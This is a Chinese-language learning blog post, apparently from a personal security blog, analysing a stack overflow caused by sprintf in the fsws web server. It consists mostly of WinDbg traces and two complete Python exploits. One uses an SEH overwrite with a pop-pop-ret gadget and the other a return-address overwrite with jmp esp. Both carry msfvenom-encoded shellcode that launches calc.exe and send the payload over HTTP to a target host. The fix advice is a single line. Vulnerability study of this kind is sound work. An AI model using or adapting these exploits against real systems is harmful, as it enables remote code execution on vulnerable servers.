0:007> dc 03125fa4
03125fa4 656c6573 2a207463 6f726620 7173206d select * from sq
03125fb4 6261746c 7720656c 65726568 6d616e20 ltable where nam
03125fc4 41273d65 41414141 41414141 41414141 e='AAAAAAAAAAAAA
03125fd4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03125fe4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03125ff4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03126004 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03126014 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA

可以看到字符串已经完全拷贝到栈空间。然后继续单步步过直到sub_496600函数的位置

1
2
3
4
5
6
0:007> 
eax=03125fa4 ebx=00001101 ecx=03127028 edx=0312715b esi=03127028 edi=048cf494
eip=00497492 esp=03125f78 ebp=031275f4 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
fsws+0x97492:
00497492 e869f1ffff call fsws+0x96600 (00496600)

这里关注一下之后调用sub_496600函数的代码,可以看到传入该函数的第一个参数是ecx,而且ecx在03125fa4栈地址的下方,所以如果畸形字符串足够长那么就会覆盖ecx指向的内存,根据前面的分析,ecx指向的内存最后就会赋给eax然后造成内存访问异常。可以计算一下ecx-0x03125fa4-len("select * from sqltable where name='")=4193,就是说畸形字符串长度超过4193字节后就可能会触发内存访问异常。


漏洞利用(一)

在造成内存访问异常后,会触发seh异常处理,这里我直接覆盖异常处理句柄进而执行shellcode,暂时不考虑绕过各种安全机制。
编写exp前首先计算如何布局shellcode内存,其实可以利用pwntools中的cyclic工具生成payload进行填写然后可以快速的确定布局,但是这里直接手动计算全是为了学习。

重新调试程序不附加断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0:007> !teb
TEB at 0031e000
ExceptionList: 03226fa4
StackBase: 03240000
StackLimit: 03224000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 0031e000
EnvironmentPointer: 00000000
ClientId: 00008af0 . 00002348
RpcHandle: 00000000
Tls Storage: 0080bc28
PEB Address: 00306000
LastErrorValue: 2
LastStatusValue: c0000034
Count Owned Locks: 0
HardErrorMode: 0
0:007> dps 03226fa4 l2
03226fa4 41414141
03226fa8 41414141 ;seh处理句柄

0:007> dc edi
03225fa4 656c6573 2a207463 6f726620 7173206d select * from sq
03225fb4 6261746c 7720656c 65726568 6d616e20 ltable where nam
03225fc4 41273d65 41414141 41414141 41414141 e='AAAAAAAAAAAAA
03225fd4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03225fe4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03225ff4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03226004 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
03226014 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA

这里虽然被覆盖成畸形字符串,但是第一个seh处理句柄地址不变,另外edi的值就是sql查询字符串的地址(汇编可以分析出来),虽然栈地址每次执行程序都会改变但是相对距离不变,所以这里计算异常处理句柄地址和payload首部的距离=0x03226fa8-0x03225fa4-len("select * from sqltable where name='")=4065。然后覆盖异常处理句柄,可以直接在ImageLoad.dll的内存空间中搜索pop pop ret的跳转指令,这个dll也是主程序要加载的dll,而且它的内存空间的地址没有0字节。这样使程序跳转到shellcode的范围内,这里可以使用相关工具搜索。在异常处理时栈的情况是

1
2
3
4
5
6
7
8
9
0:007> dd esp
032255a0 77906202 03225a48 03226fa4 03225a98
032255b0 03225610 03226fa4 77906220 03226fa4
032255c0 03225a20 779061d4 03225a48 03226fa4
032255d0 03225a98 03225610 41414141 03225a98
032255e0 03225a48 03225a30 778e3065 03225a48
032255f0 03226fa4 03225a98 03225610 41414141
03225600 03225fa4 03225f7c 032256dc 778f9fd0
03225610 61866a22 00000000 03224000 03240000

那么执行完ret后03226fa4将作为返回地址赋给eip,这里需要计算03226fa4在payload中的位置以便布置shellcode,03226fa4与payload首部距离=0x03226fa4-0x03225fa4-len("select * from sqltable where name='")=4061,在payload偏移4061处可以填充一个4字节的向前跳转或向后跳转指令,但注意其后的异常处理句柄的位置。这里使用的shellcode是用msfvenom生成的打开一个计算器的shellcodemsfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d\x20\x5c\x2c\x25\x2f',需要注意的是应该尽量避免特殊字符对payload的影响。于是编写如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# coding=utf-8
# fileName: exp.py
# usage: python exp.py ip
# shellcode by 'msfvenom' use: msfvenom -p windows/exec CMD=calc.exe -e
# x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d\x20\x5c\x2c\x25\x2f'

from socket import *
import sys

buf = ""
buf += "\xbe\xa6\x51\x73\xac\xdb\xcc\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x38\x83\xc2\x04\x31\x72\x0e\x03\xd4\x5f\x91"
buf += "\x59\xa6\xfb\x5a\x4e\x3f\x21\xae\x57\xcb\xf2\xdb\x30"
buf += "\x18\x32\x92\xf0\x6f\xb4\xc6\xf1\xff\x27\x6a\x35\x60"
buf += "\xaa\x75\xa3\xe9\x46\x67\x2d\x92\xbd\x0c\xb1\x2a\xa9"
buf += "\xdd\xf2\xba\x76\xba\xf9\x3e\x39\x34\xbc\xa1\xe7\xc0"
buf += "\x71\xf5\x6f\x3c\x8d\xac\xd1\x7c\xf1\x87\xa9\x6a\x4e"
buf += "\xc7\xba\xfc\xcf\xb2\x52\x7c\x1c\x32\x4f\x4a\x67\x71"
buf += "\x3f\x37\x08\xf2\x6b\xb5\x5b\x33\xc4\x79\x61\x8f\xe5"
buf += "\x9f\xc2\x86\xc0\x88\xb4\x56\x33\x56\xfd\x42\xcf\x68"
buf += "\x61\xff\xd3\xd6\x40\x45\x24\x48\x5a\xc5\xcb\x5e\xfd"
buf += "\x4a\xa1\xb1\xa6\xb6\xf0\x37\x98\x12\x18\x14\x7d\x0f"
buf += "\xd3\x1f\xea\xf6\x50\x97\xdc\x75\x9d\x34\x6f\xfc\x56"
buf += "\xe7\xec\xf6\x1b\x6f\xf5\x57\x4b\xd9\xe4\x68\x45\xcf"
buf += "\x58\x76\x4e\x9d\x53\x7a\x62\x6c\x34\xd8\x86\xed\x5a"
buf += "\xf4\x82\x93\x53\x18\xe6\x04\xe8\xd3\x12\x6a\xa1\xa3"
buf += "\xe6\xf0\x4e\x53\x65\x24\xd0\xf2\xa5\xfd\x4d\x11\xa4"
buf += "\xa8\x1b\x4c\x3e\x13\xc3\xfe\x17\x5b\x08\x16\x50\xfe"
buf += "\x1c\xb9\xb8\xee\x74\x7b\x3c\x82\x0c\x26\x39\x72\x77"
#247 bytes
RHOST = sys.argv[1]
RPORT = 80
payload = '\x90'*4061 #junk code
payload += '\xeb\x06\x90\x90' #jmp higher addr;offset = 8-2 = 6 = 0x06
payload += '\x5f\xab\x01\x10' #'pop pop return' addr 0x1001ab5f
payload += buf #shellcode

s = socket(AF_INET,SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send('GET '+payload+' HTTP/1.0\r\n\r\n')
print 'done.'
s.close()


漏洞利用(二)

利用(一)中的分析,如果传入的payload长度为4193这时payload无法覆盖到eax那么就不会引起内存访问异常,但是实际上它会引起返回地址被覆盖,从而我们可以利用覆盖返回地址来利用漏洞。下面要确定返回地址在何处被覆盖,这里在前面分析的能造成漏洞的_sprintf处下断点并找到离漏洞触发最近的一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:007> g
Breakpoint 0 hit
eax=030849a8 ebx=00001001 ecx=030849f8 edx=03185fa4 esi=03187028 edi=02ebe1c4
eip=0049747e esp=03185f6c ebp=031875f4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
fsws+0x9747e:
0049747e e8f71b0600 call fsws+0xf907a (004f907a)
0:009> dd esp
03185f6c 03185fa4 005a180c 030849f8 030849a8
03185f7c 02ebe1c4 ffffffff 031871f8 00001007
03185f8c 030849f8 030849a8 00000000 00000000
03185f9c 00000000 03086000 656c6573 2a207463
03185fac 6f726620 7173206d 6261746c 6c20656c
03185fbc 74696d69 00003120 00000000 00000000
03185fcc 00000000 00000000 00000000 00000000
03185fdc 00000000 00000000 00000000 00000000

然后一直单步步过直到遇到ret指令或者触发漏洞时停下,实际上它在执行ret之前并不会触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:009> 
eax=00000000 ebx=00001007 ecx=41414141 edx=00250000 esi=031871f8 edi=ffffffff
eip=00497562 esp=03186fb0 ebp=031875f4 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
fsws+0x97562:
00497562 c20c00 ret 0Ch
0:009> dd esp
03186fb0 41414141 41414141 41414141 41414141
03186fc0 41414141 41414141 41414141 41414141
03186fd0 41414141 41414141 41414141 41414141
03186fe0 41414141 41414141 41414141 41414141
03186ff0 41414141 41414141 41414141 41414141
03187000 41414141 41414141 41414141 41414141
03187010 41414141 41414141 41414141 41414141
03187020 41414141 41414141 05130027 00000000

可以看到,函数返回时返回地址已经被畸形字符串覆盖,而且可以计算出retAddr与payload首部距离=0x03186fb0-0x03185fa4-len("select * from sqltable where name='")=4073,于是又可以写出利用返回地址覆盖的exp,这里的shellcode仍然是(一)的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding=utf-8
# fileName: exp2.py
# usage: python exp2.py ip
# shellcode by 'msfvenom' use: msfvenom -p windows/exec CMD=calc.exe -e
# x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d\x20\x5c\x2c\x25\x2f'

from socket import *
import sys

buf = ""
buf += "\xbe\xa6\x51\x73\xac\xdb\xcc\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x38\x83\xc2\x04\x31\x72\x0e\x03\xd4\x5f\x91"
buf += "\x59\xa6\xfb\x5a\x4e\x3f\x21\xae\x57\xcb\xf2\xdb\x30"
buf += "\x18\x32\x92\xf0\x6f\xb4\xc6\xf1\xff\x27\x6a\x35\x60"
buf += "\xaa\x75\xa3\xe9\x46\x67\x2d\x92\xbd\x0c\xb1\x2a\xa9"
buf += "\xdd\xf2\xba\x76\xba\xf9\x3e\x39\x34\xbc\xa1\xe7\xc0"
buf += "\x71\xf5\x6f\x3c\x8d\xac\xd1\x7c\xf1\x87\xa9\x6a\x4e"
buf += "\xc7\xba\xfc\xcf\xb2\x52\x7c\x1c\x32\x4f\x4a\x67\x71"
buf += "\x3f\x37\x08\xf2\x6b\xb5\x5b\x33\xc4\x79\x61\x8f\xe5"
buf += "\x9f\xc2\x86\xc0\x88\xb4\x56\x33\x56\xfd\x42\xcf\x68"
buf += "\x61\xff\xd3\xd6\x40\x45\x24\x48\x5a\xc5\xcb\x5e\xfd"
buf += "\x4a\xa1\xb1\xa6\xb6\xf0\x37\x98\x12\x18\x14\x7d\x0f"
buf += "\xd3\x1f\xea\xf6\x50\x97\xdc\x75\x9d\x34\x6f\xfc\x56"
buf += "\xe7\xec\xf6\x1b\x6f\xf5\x57\x4b\xd9\xe4\x68\x45\xcf"
buf += "\x58\x76\x4e\x9d\x53\x7a\x62\x6c\x34\xd8\x86\xed\x5a"
buf += "\xf4\x82\x93\x53\x18\xe6\x04\xe8\xd3\x12\x6a\xa1\xa3"
buf += "\xe6\xf0\x4e\x53\x65\x24\xd0\xf2\xa5\xfd\x4d\x11\xa4"
buf += "\xa8\x1b\x4c\x3e\x13\xc3\xfe\x17\x5b\x08\x16\x50\xfe"
buf += "\x1c\xb9\xb8\xee\x74\x7b\x3c\x82\x0c\x26\x39\x72\x77"
#247 bytes
RHOST = sys.argv[1]
RPORT = 80
payload = ''
payload += '\x90'*(4073-len(buf)) #junk code
payload += buf #shellcode
payload += '\x09\x21\x76\x76' #0x76762109,'jmp esp' is from 'user32.dll'
payload += '\x90'*12 #junk code
payload += '\xe9\xec\xfe\xff\xff' #jump higher addr = shellcode;offset = -(8+len(buf)+4+12+5) = -276 = 0xfffffeec

s = socket(AF_INET,SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send('GET '+payload+' HTTP/1.0\r\n\r\n')
print 'done.'
s.close()


修复建议

应当使用安全的函数进行字符串拼接。


漏洞总结

这种栈溢出的漏洞往往是因为错误的或不安全的使用函数造成的,这个程序正是由于未安全的使用sprintf函数造成的溢出。关于漏洞利用方面,我这里使用了攻击seh和覆盖返回地址的方式,但是并没有对windows下的安全机制进行明确的绕过说明,主要是因为还在初步学习漏洞利用的技巧,而且在不同的系统环境下exp是否有效并不能保证。


参考

k0shl大佬的视频https://www.ichunqiu.com/qad/course/56127

1…45

r00tnb

努力学习网络安全技术,喜欢二进制,一直努力但进步甚微。

46 日志
4 分类
6 标签
GitHub E-Mail
友情链接
  • 还没有T_T
© 2018 r00tnb
博客全站共53.3k字